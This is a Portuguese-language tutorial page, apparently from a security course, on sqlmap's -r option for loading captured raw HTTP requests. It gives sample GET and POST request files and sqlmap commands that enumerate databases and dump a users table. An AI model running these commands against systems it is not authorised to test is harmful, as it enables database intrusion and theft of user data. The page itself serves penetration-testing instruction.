Opção de arquivo (-r) | Sql Injection | Solyd One
- Opção de arquivo (-r) | Sql Injection | Solyd One
Uso de arquivo de requisição (-r <arquivo>)
A opção -r permite que o sqlmap leia toda a requisição HTTP (GET ou POST) diretamente de um arquivo.
Isso é útil quando:
- a requisição é complexa (cookies, headers, payloads grandes);
- você capturou a requisição via Burp Suite, ZAP, cURL ou navegador;
- você quer que o sqlmap reproduza exatamente o que o cliente enviou.
Sintaxe
sqlmap -r <arquivo_request.txt> [opções]
Você pode combinar -r com qualquer outra flag do sqlmap, como --batch, --level, --risk, --dbs, etc.
Como deve ser o arquivo de request HTTP (request.txt)
O arquivo deve conter a requisição HTTP completa, no formato bruto (raw request), exatamente como o Burp Suite ou ZAP capturam.
Exemplo 1 — requisição GET (arquivo request.txt)
GET /produto.php?id=5 HTTP/1.1
Host: exemplo.com
User-Agent: Mozilla/5.0
Accept: */*
Cookie: PHPSESSID=82jx9k2jf9sdf8sdf234
Connection: close
Execução:
sqlmap -r request.txt --batch
Exemplo 2 — requisição POST (arquivo request.txt)
POST /login.php HTTP/1.1
Host: exemplo.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Cookie: sess=abc123
Content-Length: 27
username=admin&password=123
Execução com sqlmap:
sqlmap -r request.txt --batch --level=5 --risk=3
Observações importantes
-
O body da requisição POST deve sempre vir separado por uma linha em branco após os headers.
-
Não coloque
http://host/...na primeira linha. A primeira linha deve ser algo como:GET /path HTTP/1.1POST /path HTTP/1.1
-
O campo
Host:precisa estar correto. -
O sqlmap extrai automaticamente cookies, parâmetros GET e POST do arquivo.
Exemplos reais de uso
Extrair bancos de dados usando request capturado
sqlmap -r request.txt --dbs --batch
Dump de tabela específica
sqlmap -r request.txt -D loja -T usuarios --dump --batch
Usando técnicas específicas + threads
sqlmap -r request.txt --technique=BEUST --threads=10 --risk=3 --level=5 --batch